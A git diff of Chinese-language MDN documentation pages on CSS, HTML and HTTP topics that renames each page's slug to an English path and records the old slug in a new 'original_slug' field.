    diff --git a/files/zh-cn/web/css/css_grid_layout/realizing_common_layouts_using_css_grid_layout/index.html b/files/zh-cn/web/css/css_grid_layout/realizing_common_layouts_using_css_grid_layout/index.html index 1f19e6933b..a20d8b626a 100644 --- a/files/zh-cn/web/css/css_grid_layout/realizing_common_layouts_using_css_grid_layout/index.html +++ b/files/zh-cn/web/css/css_grid_layout/realizing_common_layouts_using_css_grid_layout/index.html @@ -1,7 +1,8 @@ --- title: 利用CSS网格布局实现常用布局 -slug: Web/CSS/CSS_Grid_Layout/利用CSS网格布局实现常用布局 +slug: Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout translation_of: Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout +original_slug: Web/CSS/CSS_Grid_Layout/利用CSS网格布局实现常用布局 ---

    为了完善这组CSS网格布局指南,我将介绍几种不同的布局,它们演示了在使用网格布局进行设计时可以使用的一些不同技术。我们将看到一个使用 grid-template-areas 的示例,一个典型的12列灵活网格系统,以及一个使用自动布局的产品列表。正如您从这组示例中看到的,使用网格布局通常有不止一种方法来实现您想要的结果。选择对您正在解决的问题和需要实现的设计最有帮助的方法。

    diff --git a/files/zh-cn/web/css/css_images/implementing_image_sprites_in_css/index.html b/files/zh-cn/web/css/css_images/implementing_image_sprites_in_css/index.html index 4a3e2bb7c9..0b37c1b652 100644 --- a/files/zh-cn/web/css/css_images/implementing_image_sprites_in_css/index.html +++ b/files/zh-cn/web/css/css_images/implementing_image_sprites_in_css/index.html @@ -1,6 +1,6 @@ --- title: 在 CSS 中实现图像合并 -slug: Web/Guide/CSS/CSS_Image_Sprites +slug: Web/CSS/CSS_Images/Implementing_image_sprites_in_CSS tags: - CSS - CSS Image @@ -8,6 +8,7 @@ tags: - Guide - Web translation_of: Web/CSS/CSS_Images/Implementing_image_sprites_in_CSS +original_slug: Web/Guide/CSS/CSS_Image_Sprites ---
    {{cssRef}}
    diff --git a/files/zh-cn/web/css/css_images/using_css_gradients/index.html b/files/zh-cn/web/css/css_images/using_css_gradients/index.html index 21460cd820..cef51bdcfe 100644 --- a/files/zh-cn/web/css/css_images/using_css_gradients/index.html +++ b/files/zh-cn/web/css/css_images/using_css_gradients/index.html @@ -1,7 +1,8 @@ --- title: 使用 CSS 渐变 -slug: Web/Guide/CSS/Using_CSS_gradients +slug: Web/CSS/CSS_Images/Using_CSS_gradients translation_of: Web/CSS/CSS_Images/Using_CSS_gradients +original_slug: Web/Guide/CSS/Using_CSS_gradients ---
    {{CSSRef}}
    diff --git a/files/zh-cn/web/css/css_lists_and_counters/consistent_list_indentation/index.html b/files/zh-cn/web/css/css_lists_and_counters/consistent_list_indentation/index.html index 1426940c48..8f5b208489 100644 --- a/files/zh-cn/web/css/css_lists_and_counters/consistent_list_indentation/index.html +++ b/files/zh-cn/web/css/css_lists_and_counters/consistent_list_indentation/index.html @@ -1,6 +1,6 @@ --- title: 调整列表缩进 -slug: Web/Guide/CSS/Consistent_list_indentation +slug: Web/CSS/CSS_Lists_and_Counters/Consistent_list_indentation tags: - CSS - Guide @@ -9,6 +9,7 @@ tags: - 列表 - 缩进 translation_of: Web/CSS/CSS_Lists_and_Counters/Consistent_list_indentation +original_slug: Web/Guide/CSS/Consistent_list_indentation ---

    对列表最常见的样式修改之一是改变缩进距离,即列表项向右侧移动的距离。令人沮丧的是,缩进在一个浏览器中的表现常常与其他浏览器中的效果不尽相同。例如,如果声明列表的左边距为0,在IE浏览器中生效,但是在基于Gecko引擎的浏览器中却不起作用。本文将帮助你理解这些可能发生的问题,以及如何避免这些问题的产生。

    diff --git a/files/zh-cn/web/css/css_lists_and_counters/using_css_counters/index.html b/files/zh-cn/web/css/css_lists_and_counters/using_css_counters/index.html index 4a8fa17797..3ae54b4940 100644 --- a/files/zh-cn/web/css/css_lists_and_counters/using_css_counters/index.html +++ b/files/zh-cn/web/css/css_lists_and_counters/using_css_counters/index.html @@ -1,6 +1,6 @@ --- title: 使用CSS计数器 -slug: Web/Guide/CSS/Counters +slug: Web/CSS/CSS_Lists_and_Counters/Using_CSS_counters tags: - CSS - CSS List @@ -8,6 +8,7 @@ tags: - counter - 教程 translation_of: Web/CSS/CSS_Lists_and_Counters/Using_CSS_counters +original_slug: Web/Guide/CSS/Counters ---
    {{CSSRef}}
    diff --git a/files/zh-cn/web/css/css_logical_properties/basic_concepts/index.html b/files/zh-cn/web/css/css_logical_properties/basic_concepts/index.html index cfce90ff34..5f040cc43b 100644 --- a/files/zh-cn/web/css/css_logical_properties/basic_concepts/index.html +++ b/files/zh-cn/web/css/css_logical_properties/basic_concepts/index.html @@ -1,7 +1,8 @@ --- title: 逻辑属性的和值的基本概念 -slug: Web/CSS/CSS_Logical_Properties/Basic_conceptsjie +slug: Web/CSS/CSS_Logical_Properties/Basic_concepts translation_of: Web/CSS/CSS_Logical_Properties/Basic_concepts +original_slug: Web/CSS/CSS_Logical_Properties/Basic_conceptsjie ---
    {{CSSRef}}
    diff --git a/files/zh-cn/web/css/css_logical_properties/floating_and_positioning/index.html b/files/zh-cn/web/css/css_logical_properties/floating_and_positioning/index.html index b96f3f6c88..d45cae2ae9 100644 --- a/files/zh-cn/web/css/css_logical_properties/floating_and_positioning/index.html +++ b/files/zh-cn/web/css/css_logical_properties/floating_and_positioning/index.html @@ -1,7 +1,8 @@ --- title: 浮动和定位的逻辑属性 -slug: Web/CSS/CSS_Logical_Properties/浮动和定位 +slug: Web/CSS/CSS_Logical_Properties/Floating_and_positioning translation_of: Web/CSS/CSS_Logical_Properties/Floating_and_positioning +original_slug: Web/CSS/CSS_Logical_Properties/浮动和定位 ---
    {{CSSRef}}
    diff --git a/files/zh-cn/web/css/css_positioning/understanding_z_index/adding_z-index/index.html b/files/zh-cn/web/css/css_positioning/understanding_z_index/adding_z-index/index.html index acd3b034ce..2e68f8e8df 100644 --- a/files/zh-cn/web/css/css_positioning/understanding_z_index/adding_z-index/index.html +++ b/files/zh-cn/web/css/css_positioning/understanding_z_index/adding_z-index/index.html @@ -1,7 +1,8 @@ --- title: Adding z-index -slug: Web/Guide/CSS/Understanding_z_index/Adding_z-index +slug: Web/CSS/CSS_Positioning/Understanding_z_index/Adding_z-index translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Adding_z-index +original_slug: Web/Guide/CSS/Understanding_z_index/Adding_z-index ---

    « CSS «理解z-index

    使用 {{ cssxref("z-index") }}

    diff --git a/files/zh-cn/web/css/css_positioning/understanding_z_index/index.html b/files/zh-cn/web/css/css_positioning/understanding_z_index/index.html index 19f49650d1..fde7369c12 100644 --- a/files/zh-cn/web/css/css_positioning/understanding_z_index/index.html +++ b/files/zh-cn/web/css/css_positioning/understanding_z_index/index.html @@ -1,10 +1,11 @@ --- title: 理解CSS的 z-index属性 -slug: Web/Guide/CSS/Understanding_z_index +slug: Web/CSS/CSS_Positioning/Understanding_z_index tags: - CSS - Guide translation_of: Web/CSS/CSS_Positioning/Understanding_z_index +original_slug: Web/Guide/CSS/Understanding_z_index ---

    {{cssref}}

    diff --git a/files/zh-cn/web/css/css_positioning/understanding_z_index/stacking_and_float/index.html b/files/zh-cn/web/css/css_positioning/understanding_z_index/stacking_and_float/index.html index 9312c1759d..cfc8c11fd2 100644 --- a/files/zh-cn/web/css/css_positioning/understanding_z_index/stacking_and_float/index.html +++ b/files/zh-cn/web/css/css_positioning/understanding_z_index/stacking_and_float/index.html @@ -1,7 +1,8 @@ --- title: 层叠与浮动 -slug: Web/Guide/CSS/Understanding_z_index/Stacking_and_float +slug: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_and_float translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_and_float +original_slug: Web/Guide/CSS/Understanding_z_index/Stacking_and_float ---

    « CSS « 理解 CSS 中的 z-index

    diff --git a/files/zh-cn/web/css/css_positioning/understanding_z_index/stacking_context_example_1/index.html b/files/zh-cn/web/css/css_positioning/understanding_z_index/stacking_context_example_1/index.html index 59f298d269..6f274711be 100644 --- a/files/zh-cn/web/css/css_positioning/understanding_z_index/stacking_context_example_1/index.html +++ b/files/zh-cn/web/css/css_positioning/understanding_z_index/stacking_context_example_1/index.html @@ -1,9 +1,10 @@ --- title: Stacking context example 1 -slug: Web/Guide/CSS/Understanding_z_index/Stacking_context_example_1 +slug: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_1 tags: - 理解_CSS_z-index translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_1 +original_slug: Web/Guide/CSS/Understanding_z_index/Stacking_context_example_1 ---

    « CSS « Understanding CSS z-index

    diff --git a/files/zh-cn/web/css/css_positioning/understanding_z_index/stacking_context_example_2/index.html b/files/zh-cn/web/css/css_positioning/understanding_z_index/stacking_context_example_2/index.html index 3c21bef062..4a70265c3f 100644 --- a/files/zh-cn/web/css/css_positioning/understanding_z_index/stacking_context_example_2/index.html +++ b/files/zh-cn/web/css/css_positioning/understanding_z_index/stacking_context_example_2/index.html @@ -1,11 +1,12 @@ --- title: Stacking context example 2 -slug: Web/Guide/CSS/Understanding_z_index/Stacking_context_example_2 +slug: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_2 tags: - CSS - 理解css的index属性 - 高级 translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_2 +original_slug: Web/Guide/CSS/Understanding_z_index/Stacking_context_example_2 ---

    « CSS « 理解CSS z-index

    diff --git a/files/zh-cn/web/css/css_positioning/understanding_z_index/stacking_context_example_3/index.html b/files/zh-cn/web/css/css_positioning/understanding_z_index/stacking_context_example_3/index.html index f7d2972c7c..fc4e13bc23 100644 --- a/files/zh-cn/web/css/css_positioning/understanding_z_index/stacking_context_example_3/index.html +++ b/files/zh-cn/web/css/css_positioning/understanding_z_index/stacking_context_example_3/index.html @@ -1,11 +1,12 @@ --- title: Stacking context example 3 -slug: Web/Guide/CSS/Understanding_z_index/Stacking_context_example_3 +slug: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_3 tags: - CSS - 层叠上下文 - 理解css的z-index属性 translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_3 +original_slug: Web/Guide/CSS/Understanding_z_index/Stacking_context_example_3 ---

    « CSS « Understanding CSS z-index

    diff --git a/files/zh-cn/web/css/css_positioning/understanding_z_index/stacking_without_z-index/index.html b/files/zh-cn/web/css/css_positioning/understanding_z_index/stacking_without_z-index/index.html index a5aaebdc95..609ffc446d 100644 --- a/files/zh-cn/web/css/css_positioning/understanding_z_index/stacking_without_z-index/index.html +++ b/files/zh-cn/web/css/css_positioning/understanding_z_index/stacking_without_z-index/index.html @@ -1,7 +1,8 @@ --- title: Stacking without z-index -slug: Web/Guide/CSS/Understanding_z_index/Stacking_without_z-index +slug: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_without_z-index translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_without_z-index +original_slug: Web/Guide/CSS/Understanding_z_index/Stacking_without_z-index ---

    « CSS « 理解 CSS z-index

    diff --git a/files/zh-cn/web/css/css_positioning/understanding_z_index/the_stacking_context/index.html b/files/zh-cn/web/css/css_positioning/understanding_z_index/the_stacking_context/index.html index 6d96e3e198..aa1da710e2 100644 --- a/files/zh-cn/web/css/css_positioning/understanding_z_index/the_stacking_context/index.html +++ b/files/zh-cn/web/css/css_positioning/understanding_z_index/the_stacking_context/index.html @@ -1,6 +1,6 @@ --- title: 层叠上下文 -slug: Web/Guide/CSS/Understanding_z_index/The_stacking_context +slug: Web/CSS/CSS_Positioning/Understanding_z_index/The_stacking_context tags: - Advanced - CSS @@ -8,6 +8,7 @@ tags: - z-index - 教程 translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/The_stacking_context +original_slug: Web/Guide/CSS/Understanding_z_index/The_stacking_context ---
    {{cssref}}
    diff --git a/files/zh-cn/web/css/css_selectors/using_the__colon_target_pseudo-class_in_selectors/index.html b/files/zh-cn/web/css/css_selectors/using_the__colon_target_pseudo-class_in_selectors/index.html index 65883df437..94d06bd862 100644 --- a/files/zh-cn/web/css/css_selectors/using_the__colon_target_pseudo-class_in_selectors/index.html +++ b/files/zh-cn/web/css/css_selectors/using_the__colon_target_pseudo-class_in_selectors/index.html @@ -1,11 +1,12 @@ --- -title: '在选择器中使用 :target 伪类' -slug: 'Web/Guide/CSS/Using_the_:target_selector' +title: 在选择器中使用 :target 伪类 +slug: Web/CSS/CSS_Selectors/Using_the_:target_pseudo-class_in_selectors tags: - CSS - CSS_3 - Selectors -translation_of: 'Web/CSS/CSS_Selectors/Using_the_:target_pseudo-class_in_selectors' +translation_of: Web/CSS/CSS_Selectors/Using_the_:target_pseudo-class_in_selectors +original_slug: Web/Guide/CSS/Using_the_:target_selector ---

    {{CSSRef}}

    diff --git a/files/zh-cn/web/css/cssom_view/coordinate_systems/index.html b/files/zh-cn/web/css/cssom_view/coordinate_systems/index.html index d6ea967a43..aa08829542 100644 --- a/files/zh-cn/web/css/cssom_view/coordinate_systems/index.html +++ b/files/zh-cn/web/css/cssom_view/coordinate_systems/index.html @@ -1,7 +1,8 @@ --- title: 坐标系 -slug: Web/CSS/CSSOM_View/坐标系 +slug: Web/CSS/CSSOM_View/Coordinate_systems translation_of: Web/CSS/CSSOM_View/Coordinate_systems +original_slug: Web/CSS/CSSOM_View/坐标系 ---
    {{cssref}}
    diff --git a/files/zh-cn/web/css/float/index.html b/files/zh-cn/web/css/float/index.html index 30f9928c0b..51e9f68bf1 100644 --- a/files/zh-cn/web/css/float/index.html +++ b/files/zh-cn/web/css/float/index.html @@ -1,6 +1,6 @@ --- title: float -slug: CSS/float +slug: Web/CSS/float tags: - CSS - CSS Positioning @@ -9,6 +9,7 @@ tags: - CSS 属性 - 参考 translation_of: Web/CSS/float +original_slug: CSS/float ---
    {{CSSRef}}
    diff --git a/files/zh-cn/web/css/grid-template-rows/index.html b/files/zh-cn/web/css/grid-template-rows/index.html index 0dcd6b29d5..a898da47be 100644 --- a/files/zh-cn/web/css/grid-template-rows/index.html +++ b/files/zh-cn/web/css/grid-template-rows/index.html @@ -1,9 +1,10 @@ --- title: grid-template-rows -slug: Web/CSS/网格-模板-列 +slug: Web/CSS/grid-template-rows tags: - grid-template-rows translation_of: Web/CSS/grid-template-rows +original_slug: Web/CSS/网格-模板-列 ---

    grid-template-rows 该属性是基于 {{glossary("grid rows", "网格行")}} 的维度,去定义网格线的名称和网格轨道的尺寸大小。

    diff --git a/files/zh-cn/web/css/layout_cookbook/card/index.html b/files/zh-cn/web/css/layout_cookbook/card/index.html index 260ef3ba54..e100610287 100644 --- a/files/zh-cn/web/css/layout_cookbook/card/index.html +++ b/files/zh-cn/web/css/layout_cookbook/card/index.html @@ -1,7 +1,8 @@ --- title: 卡片 -slug: Web/CSS/Layout_cookbook/卡片 +slug: Web/CSS/Layout_cookbook/Card translation_of: Web/CSS/Layout_cookbook/Card +original_slug: Web/CSS/Layout_cookbook/卡片 ---

    {{CSSRef}}

    diff --git a/files/zh-cn/web/css/layout_cookbook/media_objects/index.html b/files/zh-cn/web/css/layout_cookbook/media_objects/index.html index 382e4bacce..d3dc29cd47 100644 --- a/files/zh-cn/web/css/layout_cookbook/media_objects/index.html +++ b/files/zh-cn/web/css/layout_cookbook/media_objects/index.html @@ -1,6 +1,6 @@ --- title: '指南: 媒体对象' -slug: Web/CSS/Layout_cookbook/媒体对象 +slug: Web/CSS/Layout_cookbook/Media_objects tags: - 媒体对象 - 布局 @@ -8,6 +8,7 @@ tags: - 浮动 - 网格 translation_of: Web/CSS/Layout_cookbook/Media_objects +original_slug: Web/CSS/Layout_cookbook/媒体对象 ---
    {{CSSRef}}
    diff --git a/files/zh-cn/web/css/media_queries/index.html b/files/zh-cn/web/css/media_queries/index.html index 9936c531f1..fe59e5d14b 100644 --- a/files/zh-cn/web/css/media_queries/index.html +++ b/files/zh-cn/web/css/media_queries/index.html @@ -1,6 +1,6 @@ --- title: 媒体查询 -slug: Web/CSS/媒体查询 +slug: Web/CSS/Media_Queries tags: - CSS - 参考 @@ -8,6 +8,7 @@ tags: - 媒体查询 - 总览 translation_of: Web/CSS/Media_Queries +original_slug: Web/CSS/媒体查询 ---
    {{CSSRef}}
    diff --git a/files/zh-cn/web/css/media_queries/testing_media_queries/index.html b/files/zh-cn/web/css/media_queries/testing_media_queries/index.html index 0d33436410..a29091c556 100644 --- a/files/zh-cn/web/css/media_queries/testing_media_queries/index.html +++ b/files/zh-cn/web/css/media_queries/testing_media_queries/index.html @@ -1,6 +1,6 @@ --- title: 使用编程方法测试媒体查询 -slug: Web/Guide/CSS/Testing_media_queries +slug: Web/CSS/Media_Queries/Testing_media_queries tags: - CSS - DOM @@ -8,6 +8,7 @@ tags: - Media Queries - Web translation_of: Web/CSS/Media_Queries/Testing_media_queries +original_slug: Web/Guide/CSS/Testing_media_queries ---
    {{cssref}}
    diff --git a/files/zh-cn/web/css/media_queries/using_media_queries/index.html b/files/zh-cn/web/css/media_queries/using_media_queries/index.html index bfb15efa67..0063d28a5a 100644 --- a/files/zh-cn/web/css/media_queries/using_media_queries/index.html +++ b/files/zh-cn/web/css/media_queries/using_media_queries/index.html @@ -1,6 +1,6 @@ --- title: 使用媒体查询 -slug: Web/Guide/CSS/Media_queries +slug: Web/CSS/Media_Queries/Using_media_queries tags: - CSS - CSS媒体查询 @@ -10,6 +10,7 @@ tags: - 媒体查询 - 指南 translation_of: Web/CSS/Media_Queries/Using_media_queries +original_slug: Web/Guide/CSS/Media_queries ---
    {{cssref}}
    diff --git a/files/zh-cn/web/css/offset/index.html b/files/zh-cn/web/css/offset/index.html index e61a0ffd7a..090e97fae9 100644 --- a/files/zh-cn/web/css/offset/index.html +++ b/files/zh-cn/web/css/offset/index.html @@ -1,7 +1,8 @@ --- title: offset -slug: Web/CSS/偏移 +slug: Web/CSS/offset translation_of: Web/CSS/offset +original_slug: Web/CSS/偏移 ---
    {{SeeCompatTable}}{{CSSRef}}{{draft}}
    diff --git a/files/zh-cn/web/css/overflow-wrap/index.html b/files/zh-cn/web/css/overflow-wrap/index.html index 5c2c0c687d..f772393d8b 100644 --- a/files/zh-cn/web/css/overflow-wrap/index.html +++ b/files/zh-cn/web/css/overflow-wrap/index.html @@ -1,6 +1,6 @@ --- title: overflow-wrap -slug: Web/CSS/word-wrap +slug: Web/CSS/overflow-wrap tags: - CSS Text Module Level 3 - CSS3 @@ -8,6 +8,7 @@ tags: - overflow-wrap - word-wrap translation_of: Web/CSS/overflow-wrap +original_slug: Web/CSS/word-wrap ---
    {{CSSRef}}
    diff --git a/files/zh-cn/web/css/text-decoration-thickness/index.html b/files/zh-cn/web/css/text-decoration-thickness/index.html index cdffd6eced..41179d7438 100644 --- a/files/zh-cn/web/css/text-decoration-thickness/index.html +++ b/files/zh-cn/web/css/text-decoration-thickness/index.html @@ -1,9 +1,10 @@ --- title: 文本装饰线厚度(粗细) -slug: Web/CSS/文本装饰线厚度(粗细) +slug: Web/CSS/text-decoration-thickness tags: - 装饰线粗细 装饰线厚度 translation_of: Web/CSS/text-decoration-thickness +original_slug: Web/CSS/文本装饰线厚度(粗细) ---
    {{CSSRef}}
    diff --git a/files/zh-cn/web/css/url()/index.html b/files/zh-cn/web/css/url()/index.html index 3ba85545e4..ed5d7cb5fd 100644 --- a/files/zh-cn/web/css/url()/index.html +++ b/files/zh-cn/web/css/url()/index.html @@ -1,8 +1,9 @@ --- title: -slug: Web/CSS/url +slug: Web/CSS/url() translation_of: Web/CSS/url() translation_of_original: Web/CSS/url +original_slug: Web/CSS/url ---

    {{ CssRef() }}

    diff --git a/files/zh-cn/web/css/visual_formatting_model/index.html b/files/zh-cn/web/css/visual_formatting_model/index.html index 640f3abbc9..bdf7bd11d6 100644 --- a/files/zh-cn/web/css/visual_formatting_model/index.html +++ b/files/zh-cn/web/css/visual_formatting_model/index.html @@ -1,11 +1,12 @@ --- title: 视觉格式化模型 -slug: Web/Guide/CSS/Visual_formatting_model +slug: Web/CSS/Visual_formatting_model tags: - CSS - CSS盒模型 - 参考 translation_of: Web/CSS/Visual_formatting_model +original_slug: Web/Guide/CSS/Visual_formatting_model ---

    {{CSSRef}}

    diff --git a/files/zh-cn/web/demos_of_open_web_technologies/index.html b/files/zh-cn/web/demos_of_open_web_technologies/index.html index 2a8a22bce5..a63be23067 100644 --- a/files/zh-cn/web/demos_of_open_web_technologies/index.html +++ b/files/zh-cn/web/demos_of_open_web_technologies/index.html @@ -1,6 +1,6 @@ --- title: 开源 Web 技术示例 -slug: Web/演示说明 +slug: Web/Demos_of_open_web_technologies tags: - 2D - 3D @@ -11,6 +11,7 @@ tags: - SVG - Video translation_of: Web/Demos_of_open_web_technologies +original_slug: Web/演示说明 ---

    Mozilla 支持各种令人兴奋的开源 Web 技术,我们鼓励大家使用它们。此页面提供了有关这些技术的一些有趣演示链接。

    diff --git a/files/zh-cn/web/guide/html/editable_content/index.html b/files/zh-cn/web/guide/html/editable_content/index.html index 00f44d6fd7..2fd8f49668 100644 --- a/files/zh-cn/web/guide/html/editable_content/index.html +++ b/files/zh-cn/web/guide/html/editable_content/index.html @@ -1,7 +1,8 @@ --- title: Content Editable -slug: Web/Guide/HTML/Content_Editable +slug: Web/Guide/HTML/Editable_content translation_of: Web/Guide/HTML/Editable_content +original_slug: Web/Guide/HTML/Content_Editable ---

    在HTML中,任何元素都可以被编辑。通过使用一些JavaScript事件处理程序,您可以将您的网页转换为完整且快速的富文本编辑器。本文提供了有关此功能的一些信息。

    diff --git a/files/zh-cn/web/guide/html/editable_content/rich-text_editing_in_mozilla/index.html b/files/zh-cn/web/guide/html/editable_content/rich-text_editing_in_mozilla/index.html index f237e94b61..68aedbd50c 100644 --- a/files/zh-cn/web/guide/html/editable_content/rich-text_editing_in_mozilla/index.html +++ b/files/zh-cn/web/guide/html/editable_content/rich-text_editing_in_mozilla/index.html @@ -1,10 +1,11 @@ --- title: Mozilla中的富文本编辑器 -slug: Web/Guide/HTML/Content_Editable/Rich-Text_Editing_in_Mozilla +slug: Web/Guide/HTML/Editable_content/Rich-Text_Editing_in_Mozilla tags: - 富文本 - 指南 translation_of: Web/Guide/HTML/Editable_content/Rich-Text_Editing_in_Mozilla +original_slug: Web/Guide/HTML/Content_Editable/Rich-Text_Editing_in_Mozilla ---

    Mozilla 1.3 实现了微软 IE 浏览器的 designMode 特性。Mozilla 1.3 的富文本编辑器支持的 designMode 特性能将 HTML 文档转换为富文本编辑器。从 Firefox 3 开始,Mozilla 也支持 IE 的 contentEditable 属性,该属性允许将任意元素设置为可编辑或不可编辑的(后者可阻止在可编辑环境中,对固定元素的改变)。

    diff --git a/files/zh-cn/web/guide/html/using_html_sections_and_outlines/index.html b/files/zh-cn/web/guide/html/using_html_sections_and_outlines/index.html index 2eeb6fe100..334412d09f 100644 --- a/files/zh-cn/web/guide/html/using_html_sections_and_outlines/index.html +++ b/files/zh-cn/web/guide/html/using_html_sections_and_outlines/index.html @@ -1,6 +1,6 @@ --- title: 使用 HTML 章节与大纲 -slug: Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document +slug: Web/Guide/HTML/Using_HTML_sections_and_outlines tags: - HTML - HTML5 @@ -8,6 +8,7 @@ tags: - 文档结构 - 高阶 translation_of: Web/Guide/HTML/Using_HTML_sections_and_outlines +original_slug: Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document ---

    (下方英文原文警告的过时已翻译版本)注意:下面描述的HTML 5 大纲算法在用户代理中还没有实现,因此,使用标题语义的用户暴露在HTML4的文档结构下。HTML5对问题的描述还仅仅是理论上的。

    diff --git a/files/zh-cn/web/guide/introduction_to_web_development/index.html b/files/zh-cn/web/guide/introduction_to_web_development/index.html index 9178cb39f5..13a6b590b2 100644 --- a/files/zh-cn/web/guide/introduction_to_web_development/index.html +++ b/files/zh-cn/web/guide/introduction_to_web_development/index.html @@ -1,7 +1,8 @@ --- title: Web开发介绍 -slug: Web_Development/Introduction_to_Web_development +slug: Web/Guide/Introduction_to_Web_development translation_of: Web/Guide/Introduction_to_Web_development +original_slug: Web_Development/Introduction_to_Web_development ---

    不论你是刚开始Web开发,还是想学习Web开发,这些链接都能帮助你。至少,立刻我们就能在这儿看到很多链接。

    diff --git a/files/zh-cn/web/guide/woff/index.html b/files/zh-cn/web/guide/woff/index.html index a91795c672..780ee248b8 100644 --- a/files/zh-cn/web/guide/woff/index.html +++ b/files/zh-cn/web/guide/woff/index.html @@ -1,10 +1,11 @@ --- title: 网页开放字体格式(WOFF) -slug: WOFF +slug: Web/Guide/WOFF tags: - WOFF - 字体 translation_of: Web/Guide/WOFF +original_slug: WOFF ---

    WOFF(网页开放字体格式) 是由 Mozilla 与 Type Supply, LettError 及其他组织协同开发的一种新的网页字体格式。它使用了一种压缩版本,类似于 TrueType, OpenType, Open Font 所采用的 SFNT 结构,不过还添加了共用数据及用户私有数据结构,其中包括了自定义空间,其允许厂家和经销商提供许可证。

    diff --git a/files/zh-cn/web/html/attributes/autocomplete/index.html b/files/zh-cn/web/html/attributes/autocomplete/index.html index af7452c6f7..e38b48cc4a 100644 --- a/files/zh-cn/web/html/attributes/autocomplete/index.html +++ b/files/zh-cn/web/html/attributes/autocomplete/index.html @@ -1,6 +1,6 @@ --- title: The HTML 自动完成属性 -slug: Web/HTML/Attributes/自动完成属性 +slug: Web/HTML/Attributes/autocomplete tags: - HTML - 参考 @@ -12,6 +12,7 @@ tags: - 自动完成 - 邮件地址 translation_of: Web/HTML/Attributes/autocomplete +original_slug: Web/HTML/Attributes/自动完成属性 ---
    {{HTMLSidebar("Global_attributes")}}
    diff --git a/files/zh-cn/web/html/attributes/crossorigin/index.html b/files/zh-cn/web/html/attributes/crossorigin/index.html index 9beb44e652..3b1c57e78d 100644 --- a/files/zh-cn/web/html/attributes/crossorigin/index.html +++ b/files/zh-cn/web/html/attributes/crossorigin/index.html @@ -1,6 +1,6 @@ --- title: CORS settings attributes -slug: Web/HTML/CORS_settings_attributes +slug: Web/HTML/Attributes/crossorigin tags: - Advanced - CORS @@ -12,6 +12,7 @@ tags: - img &video - script &link translation_of: Web/HTML/Attributes/crossorigin +original_slug: Web/HTML/CORS_settings_attributes ---

    在HTML5中,一些 HTML 元素提供了对 CORS 的支持, 例如 {{ HTMLElement("audio") }}、{{ HTMLElement("img") }}、{{ HTMLElement("link") }}、{{ HTMLElement("script") }} 和 {{ HTMLElement("video") }} 均有一个跨域属性 (crossOrigin property),它允许你配置元素获取数据的 CORS 请求。 

    diff --git a/files/zh-cn/web/html/element/input/month/index.html b/files/zh-cn/web/html/element/input/month/index.html index 9a2fbb6f2a..91767c43f0 100644 --- a/files/zh-cn/web/html/element/input/month/index.html +++ b/files/zh-cn/web/html/element/input/month/index.html @@ -1,11 +1,12 @@ --- title: -slug: Web/HTML/Element/Input/月份 +slug: Web/HTML/Element/input/month tags: - HTML - Input - 表单 translation_of: Web/HTML/Element/input/month +original_slug: Web/HTML/Element/Input/月份 ---

    {{HTMLRef}}

    diff --git a/files/zh-cn/web/html/element/input/range/index.html b/files/zh-cn/web/html/element/input/range/index.html index 9450c705b2..d491878f8f 100644 --- a/files/zh-cn/web/html/element/input/range/index.html +++ b/files/zh-cn/web/html/element/input/range/index.html @@ -1,6 +1,6 @@ --- title: -slug: Web/HTML/Element/Input/范围 +slug: Web/HTML/Element/input/range tags: - HTML - 元素 @@ -8,6 +8,7 @@ tags: - 网页 - 范围 translation_of: Web/HTML/Element/input/range +original_slug: Web/HTML/Element/Input/范围 ---
    {{HTMLRef}}
    diff --git a/files/zh-cn/web/html/global_attributes/x-ms-acceleratorkey/index.html b/files/zh-cn/web/html/global_attributes/x-ms-acceleratorkey/index.html index b44ded3590..2e01b3ac1f 100644 --- a/files/zh-cn/web/html/global_attributes/x-ms-acceleratorkey/index.html +++ b/files/zh-cn/web/html/global_attributes/x-ms-acceleratorkey/index.html @@ -1,12 +1,13 @@ --- title: x-ms-加速装置键 -slug: Web/HTML/Global_attributes/x-ms-加速装置键 +slug: Web/HTML/Global_attributes/x-ms-acceleratorkey tags: - HTML - 参考 - 属性 - 无标准的 translation_of: Web/HTML/Global_attributes/x-ms-acceleratorkey +original_slug: Web/HTML/Global_attributes/x-ms-加速装置键 ---
    {{HTMLSidebar("Global_attributes")}}{{Non-standard_Header}}
    diff --git a/files/zh-cn/web/html/global_attributes/x-ms-format-detection/index.html b/files/zh-cn/web/html/global_attributes/x-ms-format-detection/index.html index c36b3ca744..f2cae391bf 100644 --- a/files/zh-cn/web/html/global_attributes/x-ms-format-detection/index.html +++ b/files/zh-cn/web/html/global_attributes/x-ms-format-detection/index.html @@ -1,12 +1,13 @@ --- title: x-ms-格式-检测 -slug: Web/HTML/Global_attributes/x-ms-格式-检测 +slug: Web/HTML/Global_attributes/x-ms-format-detection tags: - HTML - x-ms-format-detection - 参考 - 属性 translation_of: Web/HTML/Global_attributes/x-ms-format-detection +original_slug: Web/HTML/Global_attributes/x-ms-格式-检测 ---
    {{HTMLSidebar("Global_attributes")}}{{Non-standard_Header}}
    diff --git a/files/zh-cn/web/http/basics_of_http/data_uris/index.html b/files/zh-cn/web/http/basics_of_http/data_uris/index.html index 5153482967..1373bc29dc 100644 --- a/files/zh-cn/web/http/basics_of_http/data_uris/index.html +++ b/files/zh-cn/web/http/basics_of_http/data_uris/index.html @@ -1,6 +1,6 @@ --- title: Data URLs -slug: Web/HTTP/data_URIs +slug: Web/HTTP/Basics_of_HTTP/Data_URIs tags: - Base64 - HTTP @@ -8,6 +8,7 @@ tags: - 教程 - 进阶 translation_of: Web/HTTP/Basics_of_HTTP/Data_URIs +original_slug: Web/HTTP/data_URIs ---
    {{HTTPSidebar}}
